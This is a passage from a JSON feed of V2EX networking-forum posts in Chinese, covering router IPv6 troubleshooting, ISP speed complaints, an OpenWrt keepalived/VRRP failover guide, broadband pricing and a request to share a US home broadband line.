      "title": "TP-LINK \u8def\u7531\u5668\u6865\u63a5\u6a21\u5f0f\u4e0b IPv6 \u914d\u7f6e\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/1206272", 
      "date_published": "2026-04-16T02:38:56+00:00", 
      "content_html": "<p>\u5bb6\u91cc\u4e4b\u524d\u7528\u4e86\u51e0\u53f0 VELOP \u5728\u6865\u63a5\u6a21\u5f0f\u4e0b\u505a MESH \u6709\u7ebf\u56de\u7a0b\uff0c\u51e0\u5e74\u4e0b\u6765\u8868\u73b0\u7a33\u5b9a\uff0c\u53ef\u60dc WIFI5 \u5df2\u7136\u843d\u4f0d\uff0c\u9042\u4e70\u4e86\u51e0\u53f0 TP-LINK \u7684 WTA301 \uff08\u786c\u4ef6\u7248\u672c\uff1av1.1 \uff0c\u56fa\u4ef6\u7248\u672c\uff1a1.0.12 \uff09\u6253\u7b97\u5347\u7ea7\u5230 WIFI6 \uff0c\u914d\u7f6e\u4e0b\u6765\u611f\u89c9\u6709\u4e9b\u95ee\u9898\uff1a</p>\n<ol>\n<li>\u7f51\u7edc\u67b6\u6784\u3002\u4e4b\u524d\u7528 VELOP \u65f6\u662f\u67b6\u6784 1 \uff08\u5de6\u56fe\uff09\uff0c\u6362\u7528 WTA301 \u540e\u53d1\u73b0\u5fc5\u987b\u7528\u67b6\u6784 2 \uff08\u53f3\u56fe\uff09\u5b50\u8282\u70b9\u624d\u80fd\u6b63\u5e38\u5de5\u4f5c\uff1b</li>\n<li>IPv6 \u3002\u6211\u7684 openwrt \u8def\u7531\u5668\u53ef\u4ee5\u62e8\u53f7\u83b7\u53d6 60 \u957f\u5ea6 IPv6 \u524d\u7f00\u4e14\u652f\u6301\u56fa\u5b9a\uff0c\u4e4b\u524d\u7528 VELOP \u65f6\u6240\u6709\u8bbe\u5907\u90fd\u80fd\u4ee5 IPv6 \u4f18\u5148\u65b9\u5f0f\u8bbf\u95ee\u5916\u90e8\u7f51\u7ad9\u3002\u6362 WTA301 \u540e\u867d\u7136\u80fd\u591f ping \u901a\u5916\u90e8 IPv6 \u5730\u5740\uff0c\u4f46\u662f v6 DNS \u89e3\u6790\u4e0d\u901a\u3002\u5728 WTA301 IPv6 \u914d\u7f6e\u4e2d\uff0c\u5c1d\u8bd5\u4e86\u5173\u95ed IPv6/\u8bbe\u7f6e IPv6 \u4e3a\u6865\u63a5\u7b49\u9009\u9879\uff0c\u5747\u672a\u80fd\u89e3\u51b3\u3002SSH \u5230 openwrt \u8def\u7531\u5668\u8fdb\u884c\u6d4b\u8bd5\u4e00\u5207\u6b63\u5e38\uff0c\u6240\u4ee5\u53ea\u53ef\u80fd\u662f WTA301 \u5f15\u5165\u6545\u969c\u3002</li>\n</ol>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://img.erpweb.eu.org/imgs/2026/04/638419c1dc4b9a14.png\"/></p>\n<p>\u6298\u817e\u534a\u5929\u6ca1\u641e\u5b9a\uff0c\u5927\u5bb6\u6709\u9047\u5230\u8fc7\u7c7b\u4f3c\u95ee\u9898\u7684\u5417\uff1f\u987a\u4fbf\u6c42\u63a8\u8350 WIFI6 \u65e0\u7ebf\u8def\u7531\u5668\uff0c\u80fd\u4ee5\u67b6\u6784 1 \u65b9\u5f0f\u65e0\u611f\u66ff\u6362\u6389 VELOP \u4e3a\u5b9c~</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/CodeWind", 
        "name": "CodeWind", 
        "avatar": "https://cdn.v2ex.com/gravatar/e9e46aa6f4ce283af8a674b10d405d1e?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1206251", 
      "title": "\u540c\u7701\u8de8\u8fd0\u8425\u5546\u4e4b\u524d\u5168\u5929\u9650\u901f\u73b0\u5728\u4f3c\u4e4e\u53d8\u6210\u665a\u9ad8\u5cf0\u9650\u901f\u4e86", 
      "id": "https://www.v2ex.com/t/1206251", 
      "date_published": "2026-04-16T01:45:32+00:00", 
      "content_html": "\u4ece\u516c\u53f8(\u7535\u4fe1)\u8fdc\u7a0b\u56de\u5bb6(\u79fb\u52a8)\uff0c\u76f4\u7ebf\u8ddd\u79bb\u4e0d\u5230 10km \uff0c\u4e4b\u524d\u662f\u5168\u5929\u90fd\u5361(\u4e22\u5305\u3001\u5ef6\u8fdf\u5927\u4e8e 100+)\uff0c\u6700\u8fd1\u53d1\u73b0\u665a\u9ad8\u5cf0(\u5927\u6982\u4e03\u70b9\u5f00\u59cb)\u5ef6\u8fdf 70+\uff0c\u800c\u4e14\u4e0d\u4e22\u5305\u4e86\uff0c\u767d\u5929\u57fa\u672c\u4e0a\u90fd\u4e0d\u5361\uff0c\u611f\u89c9\u53c8\u80fd\u7528\u4e86"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/metalvest", 
        "name": "metalvest", 
        "avatar": "https://cdn.v2ex.com/gravatar/7bb54f893073b624248711031dd4f640?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1206217", 
      "title": "\u544a\u522b ALLinBOOM\uff0c\u7528 VRRP \u4e3a\u6298\u817e\u65c1\u8def\u7531\u4fdd\u9a7e\u62a4\u822a", 
      "id": "https://www.v2ex.com/t/1206217", 
      "date_published": "2026-04-15T16:44:16+00:00", 
      "content_html": "\u7231\u6298\u817e\u7684\u5927\u4f19\u90fd\u77e5\u9053\uff0cALLinONE \u8f6f\u8def\u7531\u4e00\u65e6\u53d1\u751f\u5d29\u6e83\uff0c\u4fbf\u4f1a\u9020\u6210\u5168\u5bb6\u65ad\u7f51(ALLinBOOM)\u3002<br /><br />\u89e3\u51b3\u8fd9\u4e00\u95ee\u9898\u7684\u601d\u8def\u5728\u4e8e\uff0c\u628a\u8def\u7531\u529f\u80fd\u4e0e\u6269\u5c55\u529f\u80fd\u8fdb\u884c\u89e3\u8026\u5904\u7406\uff0c\u4e5f\u5c31\u662f\u91c7\u7528\u201c\u4e3b\u8def\u7531 + \u65c1\u8def\u7531\u201d\u8fd9\u4e00\u67b6\u6784\u3002\u5728\u5e38\u89c1\u7684\u65c1\u8def\u7531\u65b9\u6848\u5f53\u4e2d\uff0c\u8981\u4e48\u9700\u8981\u5ba2\u6237\u7aef\u624b\u52a8\u628a\u7f51\u5173\u6307\u5411\u65c1\u8def\u7531\uff08\u4e00\u65e6\u65c1\u8def\u7531\u6545\u969c\uff0c\u6bcf\u4e2a\u8bbe\u5907\u90fd\u8981\u624b\u52a8\u6539\u56de\u4e3b\u8def\u7531\uff09\uff0c\u8981\u4e48\u5728\u65c1\u8def\u7531\u4e0a\u5f00\u542f\u5f3a\u5236 DHCP \u529f\u80fd\uff08\u65c1\u8def\u7531\u5b95\u673a\u4e4b\u540e\uff0cDHCP \u670d\u52a1\u968f\u4e4b\u5931\u6548\uff0c\u65b0\u8bbe\u5907\u5c06\u65e0\u6cd5\u83b7\u53d6 IP \u5730\u5740\uff09\u3002\u8fd9\u4e24\u79cd\u65b9\u5f0f\u5728\u81ea\u52a8\u5316\u65b9\u9762\u5747\u6709\u6240\u6b20\u7f3a\uff0c\u4e00\u65e6\u9047\u5230\u65ad\u7f51\uff0c\u5168\u5bb6\u4eba\u5c31\u8981\u7ed9\u4f60\u4e0a\u538b\u529b\u4e86\u3002<br /><br />\u66f4\u4e3a\u7701\u5fc3\u7684\u505a\u6cd5\u662f\uff0c\u5f15\u5165 VRRP \uff08\u865a\u62df\u8def\u7531\u5197\u4f59\u534f\u8bae\uff09\uff0c\u8ba9\u4e3b\u8def\u7531\u4e0e\u65c1\u8def\u7531\u5171\u540c\u4f7f\u7528\u4e00\u4e2a\u865a\u62df\u7f51\u5173 IP \u5730\u5740\u3002\u5728\u6b63\u5e38\u72b6\u6001\u4e0b\uff0c\u65c1\u8def\u7531\u4f1a\u4f5c\u4e3a MASTER \u89d2\u8272\u6765\u63a5\u7ba1\u6d41\u91cf\uff1b\u4e00\u65e6\u65c1\u8def\u7531\u53d1\u751f\u6545\u969c\uff0c\u4e3b\u8def\u7531\u4f1a\u5728\u6570\u79d2\u5185\u81ea\u52a8\u63a5\u66ff\u5176\u5de5\u4f5c\uff0c\u6574\u4e2a\u5207\u6362\u8fc7\u7a0b\u5bf9\u5ba2\u6237\u7aef\u800c\u8a00\u5b8c\u5168\u65e0\u611f\u3002<br /><br />\u4e0b\u9762\u7ed9\u51fa\u57fa\u4e8e VRRP \u534f\u8bae\u7684\u5177\u4f53\u914d\u7f6e\u65b9\u6cd5\u3002\u6574\u4e2a\u65b9\u6848\u9700\u8981\u501f\u52a9\u4e24\u53f0\u8bbe\u5907\u6765\u5b8c\u6210\uff1a\u5176\u4e2d\u4e00\u53f0\u4f5c\u4e3a\u4e3b\u8def\u7531\uff0c\u8d1f\u8d23\u62e8\u53f7\u3001NAT \u4ee5\u53ca DHCP \u670d\u52a1\uff0c\u5176 VRRP \u89d2\u8272\u4e3a BACKUP \uff1b\u53e6\u4e00\u53f0\u4f5c\u4e3a\u65c1\u8def\u7531\uff0c\u8d1f\u8d23\u5904\u7406\u7279\u6b8a\u6d41\u91cf\uff08\u4f8b\u5982\u53bb\u5e7f\u544a\u3001\u79d1\u5b66\u4e0a\u7f51\u7b49\uff09\uff0c\u5176 VRRP \u89d2\u8272\u4e3a MASTER \u3002\u540c\u65f6\uff0c\u8fd8\u9700\u8981\u8bbe\u7f6e\u4e00\u4e2a\u865a\u62df\u7f51\u5173 IP \uff08 VIP \uff09\uff0c\u4ee5\u6b64\u4f5c\u4e3a\u5ba2\u6237\u7aef\u7edf\u4e00\u7684\u7f51\u5173\u5730\u5740\uff0c\u5e76\u7531 VRRP \u534f\u8bae\u52a8\u6001\u5730\u5bf9\u5176\u8fdb\u884c\u63a5\u7ba1\u3002<br /><br />\u4ee5\u4e0b\u914d\u7f6e\u4ee5\u5177\u4f53\u7684\u786c\u4ef6\u8bbe\u5907\u4e3a\u4f8b\uff08\u53ef\u4ee5\u5c06\u5176\u4efb\u610f\u66f4\u6362\u4e3a\u624b\u5934\u5176\u4ed6\u652f\u6301 OpenWrt \u7cfb\u7edf\u7684\u8bbe\u5907\uff09\uff1a<br />\u4e3b\u8def\u7531\uff1aH3C NX30 Pro \uff08 LAN \u53e3 IP \u5730\u5740\u4e3a 10.0.0.1 \uff0c\u9ed8\u8ba4\u7f51\u5173\u6307\u5411\u8fd0\u8425\u5546\u4fa7\uff09<br />\u65c1\u8def\u7531\uff1a\u6590\u8baf N1 \uff08 IP \u5730\u5740\u4e3a 10.0.0.3 \uff0c\u9ed8\u8ba4\u7f51\u5173\u4e3a 10.0.0.1 \uff0c\u5e76\u5173\u95ed DHCP \u670d\u52a1\uff09<br />VIP \u865a\u62df\u7f51\u5173\u5730\u5740\uff1a10.0.0.254/24<br /><br />\u914d\u7f6e\u6b65\u9aa4\u57fa\u7840\u51c6\u5907\uff1a\u4e24\u53f0\u8bbe\u5907\u5747\u5df2\u5237\u5165 OpenWrt \u7cfb\u7edf\uff0c\u5e76\u4e14\u4e3b\u8def\u7531\u7684 WAN \u53e3\u80fd\u591f\u6b63\u5e38\u4e0a\u7f51\u3002<br />\u5bf9\u65c1\u8def\u7531\u8fdb\u884c\u9759\u6001 IP \u5730\u5740\u7684\u8bbe\u7f6e\uff1aIP \u5730\u5740\u4e3a 10.0.0.3 \uff0c\u7f51\u5173\u4e3a 10.0.0.1 \uff0c\u540c\u65f6\u5173\u95ed\u5176 DHCP \u670d\u52a1\u3002<br /><br />\u5b89\u88c5 keepalived \u8f6f\u4ef6\u5305<br />opkg update &amp;&amp; opkg install keepalived<br />\u7f16\u5199\u914d\u7f6e\u6587\u4ef6<br />\u65c1\u8def\u7531\uff08 MASTER \uff09\u7684\u914d\u7f6e\u6587\u4ef6\u8def\u5f84\u4e3a /etc/keepalived/keepalived.conf \uff0c\u5176\u5185\u5bb9\u5982\u4e0b\uff1a<br />global_defs {<br />router_id N1_MASTER <br />}<br />vrrp_instance VI_1 { \u00a0  state MASTER \u00a0  interface br-lan \u00a0  virtual_router_id 51 \u00a0  priority 150 \u00a0  advert_int 1 \u00a0  virtual_ipaddress { 10.0.0.254/24 }}<br />\u4e3b\u8def\u7531\uff08 BACKUP \uff09\u7684\u914d\u7f6e\u6587\u4ef6\u8def\u5f84\u540c\u6837\u4e3a /etc/keepalived/keepalived.conf \uff0c\u5176\u5185\u5bb9\u5982\u4e0b\uff1a<br />global_defs { router_id NX30Pro_BACKUP }vrrp_instance VI_1 { \u00a0  state BACKUP \u00a0  interface br-lan \u00a0  virtual_router_id 51 \u00a0  priority 100 \u00a0  advert_int 1 \u00a0  virtual_ipaddress { 10.0.0.254/24 }}<br /><br />\u89e3\u51b3 OpenWrt \u7cfb\u7edf\u4e2d UCI \u914d\u7f6e\u8986\u76d6\u7684\u95ee\u9898<br />\u5728\u4e24\u53f0\u8bbe\u5907\u4e0a\u5206\u522b\u521b\u5efa /etc/config/keepalived \u6587\u4ef6\uff0c\u5e76\u5199\u5165\u4ee5\u4e0b\u5185\u5bb9\uff1a<br />config globals 'globals'<br />option alt_config_file '/etc/keepalived/keepalived.conf'<br />\u542f\u52a8 keepalived \u670d\u52a1\u5e76\u8bbe\u7f6e\u5f00\u673a\u81ea\u542f\u52a8<br />/etc/init.d/keepalived<br />enable/etc/init.d/keepalived start<br /><br />\u901a\u8fc7 DHCP \u5411\u5ba2\u6237\u7aef\u4e0b\u53d1\u865a\u62df\u7f51\u5173\u5730\u5740<br />\u5728\u4e3b\u8def\u7531\u7684 LuCI \u7ba1\u7406\u754c\u9762\u4e2d\uff0c\u4f9d\u6b21\u8fdb\u5165\uff1a\u7f51\u7edc \u2192 \u63a5\u53e3 \u2192 LAN \u2192 DHCP \u670d\u52a1\u5668 \u2192 \u9ad8\u7ea7\u8bbe\u7f6e \u2192 DHCP-\u9009\u9879\uff0c\u7136\u540e\u586b\u5165 3,10.0.0.254 \u3002<br /><br />\u9a8c\u8bc1\u65b9\u6848\u6548\u679c<br />\u6b63\u5e38\u72b6\u6001\u4e0b\u7684\u9a8c\u8bc1\uff1a\u5728\u65c1\u8def\u7531\u4e0a\u6267\u884c ip addr show br-lan \u547d\u4ee4\uff0c\u53ef\u4ee5\u770b\u5230 10.0.0.254/24 \u5730\u5740\u5b58\u5728\uff0c\u800c\u4e3b\u8def\u7531\u4e0a\u5219\u6ca1\u6709\u8be5 IP \u5730\u5740\u3002<br />\u5ba2\u6237\u7aef\u81ea\u52a8\u83b7\u53d6\u7f51\u5173\u5730\u5740\u7684\u9a8c\u8bc1\uff1a\u5ba2\u6237\u7aef\u80fd\u591f\u81ea\u52a8\u83b7\u5f97\u7f51\u5173\u5730\u5740 10.0.0.254 \u3002<br />\u6a21\u62df\u65c1\u8def\u7531\u6545\u969c\u7684\u9a8c\u8bc1\uff1a\u6267\u884c keepalived stop \u547d\u4ee4\u505c\u6b62\u65c1\u8def\u7531\u7684 keepalived \u670d\u52a1\uff0c3 \u79d2\u4e4b\u5185\u4e3b\u8def\u7531\u4fbf\u4f1a\u63a5\u7ba1 VIP \u5730\u5740\u3002<br />\u6062\u590d\u65c1\u8def\u7531\u7684\u9a8c\u8bc1\uff1a\u6267\u884c keepalived start \u547d\u4ee4\u91cd\u65b0\u542f\u52a8\u65c1\u8def\u7531\u7684 keepalived \u670d\u52a1\uff0cVIP \u5730\u5740\u4f1a\u81ea\u52a8\u5207\u6362\u56de\u65c1\u8def\u7531\u3002<br />\u91cd\u542f\u6d4b\u8bd5\u7684\u9a8c\u8bc1\uff1a\u5c06\u4e24\u53f0\u8bbe\u5907\u5206\u522b\u91cd\u542f\uff0c\u91cd\u542f\u4e4b\u540e VIP \u5730\u5740\u4ecd\u7136\u4f4d\u4e8e\u65c1\u8def\u7531\u4e0a\uff0c\u5ba2\u6237\u7aef\u7684\u7f51\u5173\u5730\u5740\u4e5f\u4fdd\u6301\u6b63\u786e\u3002<br /><br />\u5b8c\u6210\u4e0a\u8ff0\u914d\u7f6e\u4e4b\u540e\uff0c\u4e00\u65e6\u65c1\u8def\u7531\u53d1\u751f\u6545\u969c\uff0c\u7cfb\u7edf\u4f1a\u81ea\u52a8\u5207\u6362\u81f3\u4e3b\u8def\u7531\uff0c\u7528\u6237\u51e0\u4e4e\u611f\u89c9\u4e0d\u5230\u65ad\u7f51\u7684\u53d1\u751f\u3002\u8fd9\u6837\u4e00\u6765\uff0c\u65e2\u80fd\u591f\u653e\u5fc3\u5730\u6298\u817e\u5404\u79cd\u63d2\u4ef6\u529f\u80fd\uff0c\u53c8\u4e0d\u4f1a\u5f71\u54cd\u5230\u5168\u5bb6\u4eba\u7684\u6b63\u5e38\u4e0a\u7f51\u3002\u867d\u7136\u8be5\u914d\u7f6e\u8fc7\u7a0b\u76f8\u6bd4\u624b\u52a8\u4fee\u6539\u7f51\u5173\u7684\u65b9\u5f0f\u8981\u7a0d\u5fae\u590d\u6742\u4e00\u4e9b\uff0c\u4f46\u662f\u914d\u7f6e\u5b8c\u6210\u4e4b\u540e\u4fbf\u53ef\u4ee5\u5b9e\u73b0\u4e00\u52b3\u6c38\u9038\u7684\u6548\u679c\u3002"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/beihu", 
        "name": "beihu", 
        "avatar": "https://cdn.v2ex.com/gravatar/3266f3a1271e2910afd01273aef6c66d?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1206198", 
      "title": "\u5f00\u4e86\u4e0a\u6d77\u8054\u901a\u56fd\u9645\u52a0\u901f\u4e4b\u540e\u7684\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/1206198", 
      "date_published": "2026-04-15T14:28:40+00:00", 
      "content_html": "<p>hy2 \u534f\u8bae\u95f4\u6b47\u6027\u65ad\u5f00 \u5f97\u8fc7\u4e00\u4f1a\u81ea\u52a8\u6062\u590d\n\u800c\u4e14\u90e8\u5206 vps \u7684 ip \u6bd4\u5982\u65e5\u672c akari \u5373\u4fbf\u4e0d\u662f hy2 \u534f\u8bae\u4e5f\u4f1a\u95f4\u63a5\u65ad\u5f00 \u4e0d\u77e5\u9053\u662f\u4e0d\u662f\u4e92\u8054\u6709\u95ee\u9898\u8fd8\u662f\u4ec0\u4e48\n\u5404\u4f4d\u6709\u9047\u5230\u8fc7\u8fd9\u79cd\u60c5\u51b5\u5417</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/JadeUTC", 
        "name": "JadeUTC", 
        "avatar": "https://cdn.v2ex.com/gravatar/c818709c478a57c4f4d301f977341cb6?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1206125", 
      "title": "\u8054\u901a\u7b2c\u4e00\u5e74\u514d\u8d39\uff0c\u7b2c\u4e8c\u5e74\u4e00\u6708 10 \u5143\uff0c\u6709\u6ca1\u6709\u5751\uff1f", 
      "id": "https://www.v2ex.com/t/1206125", 
      "date_published": "2026-04-15T08:40:56+00:00", 
      "content_html": "<p>\u8425\u4e1a\u5385\u5ba2\u670d\u8bf4\u6ca1\u6709\u4ec0\u4e48\u5176\u4ed6\u8d39\u7528\uff0c\u5c31\u662f\u7b2c\u4e00\u5e74\u514d\u8d39\uff0c\u9700\u8981\u6536\u4e2a 100 \u5143\u5b89\u88c5\u8d39\uff0c\u7b2c\u4e8c\u5e74\u4e00\u4e2a\u6708 10 \u5143\u3002</p>\n<p>300M \u7684\u5bbd\u5e26\uff0c\u4e0d\u77e5\u9053\u4f1a\u4e0d\u4f1a\u8ddf\u79fb\u52a8\u4e00\u6837\uff0c\u665a\u4e0a\u5927\u6982\u4e03\u516b\u4e5d\u70b9\u7684\u65f6\u5019\uff0c\u7f51\u7edc\u4e0b\u964d\u975e\u5e38\u4e25\u91cd\u3002</p>\n<p>\u76ee\u524d\u79fb\u52a8\u5bbd\u5e26 500M \u7684\uff0c\u8fd9\u4e2a\u6708\u5e95\u5230\u671f\uff0c\u73b0\u5728\u8003\u8651\u8981\u4e0d\u8981\u6362\u8054\u901a\u7684\u8fd9\u4e2a\uff0c\u89c9\u5f97\u633a\u4fbf\u5b9c\u7684\u3002</p>\n<p>\u5c31\u662f\u60f3\u95ee\u4e00\u4e0b\u5927\u5bb6\uff0c\u6709\u6ca1\u6709\u529e\u7406\u8fc7\u8fd9\u4e2a\u5bbd\u5e26\u7684\uff0c\u6709\u6ca1\u6709\u5751\uff1f\n\u665a\u4e0a\u7f51\u7edc\u9ad8\u5cf0\u671f\u7684\u65f6\u5019\u964d\u901f\u4e25\u4e0d\u4e25\u91cd\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/shug", 
        "name": "shug", 
        "avatar": "https://cdn.v2ex.com/avatar/acda/fdd6/802118_large.png?m=1776087029"
      }, 
      "url": "https://www.v2ex.com/t/1206038", 
      "date_modified": "2026-04-15T04:49:30+00:00", 
      "content_html": "<p>\u73b0\u5728 AI \u4e4b\u7c7b\u7684\u90fd\u5bf9\u7f51\u7edc\u73af\u5883\u8981\u6c42\u9ad8\uff0c\u52a8\u4e0d\u52a8\u5c01\u53f7\u3002\n\u4e3a\u4e86\u957f\u671f\u7a33\u5b9a\u4f7f\u7528\u3002\u5bfb\u627e\u4e00\u4f4d\u5728\u7f8e\u56fd\uff08\u52a0\u5dde\u6700\u4f73\uff09\u7684\u670b\u53cb\u8fdb\u884c\u4e00\u4e2a\u53cc\u8d62\u7684\u957f\u671f\u5408\u4f5c\u3002</p>\n<p>\u7b80\u5355\u6765\u8bf4\uff1a\n\u6211\u9700\u8981\u4e00\u4e2a\u5e72\u51c0\u7684\u771f\u5b9e\u5bb6\u5ead\u5bbd\u5e26 IP \u6765\u8fdb\u884c\u5e38\u89c4\u7684\u8fdc\u7a0b\u529e\u516c\u548c\u8d26\u53f7\u7ef4\u62a4\u3002\u60f3\u5728\u7f8e\u56fd\u62c9\u4e00\u6761\u771f\u5b9e\u5bb6\u5bbd\uff0c\u5f53\u7136\uff0c\u6211\u627f\u62c5\u5168\u989d\u5bbd\u5e26\u8d39\uff0c\u4f60\u53ef\u4ee5\u9009\u62e9\uff1a1 \uff0c\u514d\u8d39\u4e0a\u7f51\u3002\u6216\u8005\uff1a2 \uff0c\u6bcf\u6708\u989d\u5916\u6536\u53d6\u4e00\u4e9b\u7ef4\u62a4\u8d39\uff08\u53ef\u4ee5\u5546\u91cf\uff09\u3002\u6216\u8005 1+2 \u3002</p>\n<p>\u5408\u4f5c\u65b9\u5f0f\uff08 3 \u9009 1 \uff09\uff1a</p>\n<pre><code>\u65b9\u5f0f 1\uff1a\u6211\u5305\u5bbd\u5e26\u8d39\uff08\u8ba9\u4f60\u514d\u8d39\u4e0a\u7f51\uff09\u6bcf\u6708\u7684\u7f51\u8d39\uff08\u5982 Comcast/Spectrum/AT&amp;T \u7b49\uff09\u7531\u6211\u5168\u989d\u627f\u62c5\u3002\u4f60\u76f8\u5f53\u4e8e\u4ece\u6b64\u514d\u8d39\u7528\u7f51\u3002\n\n\u65b9\u5f0f 2\uff1a\u7eaf\u9886\u6bcf\u6708\u7ef4\u62a4\u8d39\uff08\u91d1\u989d\u53ef\u8bae\uff09\u5982\u679c\u4f60\u62c5\u5fc3\u6211\u4f1a\u5728\u7f51\u7edc\u4e0a\u8bbe\u7f6e\u4e86\u4e9b\u4ec0\u4e48\uff0c\u62c5\u5fc3\u7f51\u7edc\u5b89\u5168/\u9690\u79c1\u7684\u670b\u53cb\u53ef\u4ee5\u9009\u8fd9\u4e2a\uff01 \u5982\u679c\u4f60\u4e0d\u60f3\u5728\u7f51\u7edc\u5171\u4eab\u4e0a\u4ea7\u751f\u4ea4\u96c6\uff0c\u53ef\u4ee5\u628a\u6211\u7684\u8bbe\u5907\u5b8c\u5168\u72ec\u7acb\uff0c\u4f60\u4e0d\u4f7f\u7528\uff0c\u6ca1\u5173\u7cfb\uff0c\u4f60\u53ef\u4ee5\u76f4\u63a5\u6309\u6708\u6536\u53d6\u4e00\u7b14\u56fa\u5b9a\u7684\u201c\u8bbe\u5907\u6258\u7ba1\u8d39\u201d\uff08\u5177\u4f53\u91d1\u989d\u6211\u4eec\u5546\u91cf\u7740\u6765\uff09\u3002\n\n\u65b9\u5f0f 3\uff1a\u6210\u5e74\u4eba\u5168\u90fd\u8981\uff08\u5bbd\u5e26\u8d39 + \u989d\u5916\u7ef4\u62a4\u8d39\uff09\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u8d70 1+2 \u65b9\u6848\uff1a\u7f51\u8d39\u6211\u51fa\uff0c\u53e6\u5916\u6bcf\u6708\u518d\u7ed9\u4f60\u4e00\u7b14\u989d\u5916\u7684\u8f9b\u82e6\u8d39\uff01\uff08\u5f53\u7136\uff0c\u4f1a\u6bd4\u65b9\u5f0f 2 \u5c11\u4e00\u4e9b\uff09\n</code></pre>\n<p>\ud83d\udee0\ufe0f \u4f60\u9700\u8981\u505a\u4ec0\u4e48\uff1a\n\u975e\u5e38\u7b80\u5355\uff0c\u4e0d\u9700\u8981\u61c2\u4efb\u4f55\u6280\u672f\u3002</p>\n<p>\u65b0\u529e\u5bbd\u5e26\uff0c\u6211\u53ef\u4ee5\u51fa\u521d\u88c5\u8d39</p>\n<p>\u6211\u4f1a\u90ae\u5bc4\u4e00\u4e2a\u5df4\u638c\u5927\u5c0f\u7684\u8bbe\u5907\uff08\u7c7b\u4f3c\u6811\u8393\u6d3e\u6216\u8f6f\u8def\u7531\uff09\uff0c\u4f60\u53ea\u9700\u8981\u628a\u5b83\u63d2\u5230\u4f60\u5bb6\u8def\u7531\u5668\u7684\u7f51\u53e3\u4e0a\uff0c\u4f60\u63d0\u4f9b\u7535\u6e90\uff0c\u5e76\u4fdd\u6301 24 \u5c0f\u65f6\u5f00\u673a\u5373\u53ef\u3002</p>\n<p>\u5076\u5c14\u8bbe\u5907\u6b7b\u673a\u65f6\uff0c\u5e2e\u5fd9\u62d4\u63d2\u4e00\u4e0b\u7535\u6e90\u91cd\u542f\uff0c\u6216\u8005\u6309\u4e00\u4e0b\u8bbe\u5907\u91cd\u7f6e\u6309\u94ae\u3002</p>\n<p>\ud83d\udee1\ufe0f \u91cd\u70b9\u627f\u8bfa\u4e0e\u5b89\u5168\u4fdd\u969c\uff08\u5927\u5bb6\u6700\u5173\u5fc3\u7684\uff09\uff1a\n\u6211\u975e\u5e38\u7406\u89e3\u5927\u5bb6\u5bf9\u7f51\u7edc\u5b89\u5168\u7684\u987e\u8651\uff0c\u6240\u4ee5\u6211\u4fdd\u8bc1\u505a\u5230\u4ee5\u4e0b\u51e0\u70b9\uff1a</p>\n<p>\u7528\u9014\u7edd\u5bf9\u7eaf\u6d01\uff1a\u4ec5\u7528\u4e8e\u4e2a\u4eba\u5e38\u89c4\u7f51\u9875\u6d4f\u89c8\u3001AI \u5e73\u53f0\u8d26\u53f7\uff08\u5982\u7f51\u94f6\u3001\u8de8\u5883\u7535\u5546\u7b49\uff09\u7684\u65e5\u5e38\u767b\u5f55\u4e0e\u9632\u98ce\u63a7\u7ef4\u62a4\u3002</p>\n<p>\u7edd\u5bf9\u65e0\u7070\u9ed1\u4ea7\uff1a\u575a\u51b3\u675c\u7edd\u4efb\u4f55 BT \u4e0b\u8f7d\u3001\u6697\u7f51\u3001\u53d1\u5783\u573e\u90ae\u4ef6\u6216\u8fdd\u6cd5\u8fdd\u89c4\u64cd\u4f5c\u3002\u8fd9\u4e5f\u4e0d\u662f\u8fd9\u79cd\u9759\u6001\u5bb6\u5bbd\u7684\u73a9\u6cd5\u3002</p>\n<p>\u6b22\u8fce\u79c1\u4fe1\u6211\uff01\u53ef\u4ee5\u5148\u804a\u804a\uff0c\u89c9\u5f97\u9760\u8c31\u54b1\u4eec\u518d\u63a8\u8fdb\u3002</p>\n", 
      "date_published": "2026-04-15T04:47:03+00:00", 
      "title": "\u5305\u4f60\u6bcf\u6708\u5bbd\u5e26\u8d39 or \u8865\u8d34\uff0c\u5bfb\u7f8e\u56fd\u5c45\u6c11/\u7559\u5b66\u751f\u5408\u4f5c\u5171\u4eab\u7f51\u7edc", 
      "id": "https://www.v2ex.com/t/1206038"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/maoqiucute", 
        "name": "maoqiucute", 
        "avatar": "https://cdn.v2ex.com/gravatar/a87d4f51705c49e90c6cca8933625559?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1206013", 
      "title": "\u5185\u7f51\u7a7f\u900f\u65b0\u65b9\u6848\uff1f Cloudflare Mesh \u53f7\u79f0\u662f\u6bd4\u80a9 tailscale", 
      "id": "https://www.v2ex.com/t/1206013", 
      "date_published": "2026-04-15T03:21:23+00:00", 
      "content_html": "<p>\u6709\u4eba\u5c1d\u8bd5\u8fc7\u4e86\u5417\uff1f</p>\n<p>\u5b98\u65b9\u6587\u6863\uff1a\n<a href=\"https://developers.cloudflare.com/cloudflare-one/networks/connectors/cloudflare-mesh/\" rel=\"nofollow\">https://developers.cloudflare.com/cloudflare-one/networks/connectors/cloudflare-mesh/</a></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Vesc", 
        "name": "Vesc", 
        "avatar": "https://cdn.v2ex.com/avatar/60df/cc1d/686441_large.png?m=1759061651"
      }, 
      "url": "https://www.v2ex.com/t/1205913", 
      "title": "\u5927\u4f6c\u4eec\uff0c\u95ee\u4e2a clash \u4ee3\u7406\u7684\u89c4\u5219\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/1205913", 
      "date_published": "2026-04-14T14:37:18+00:00", 
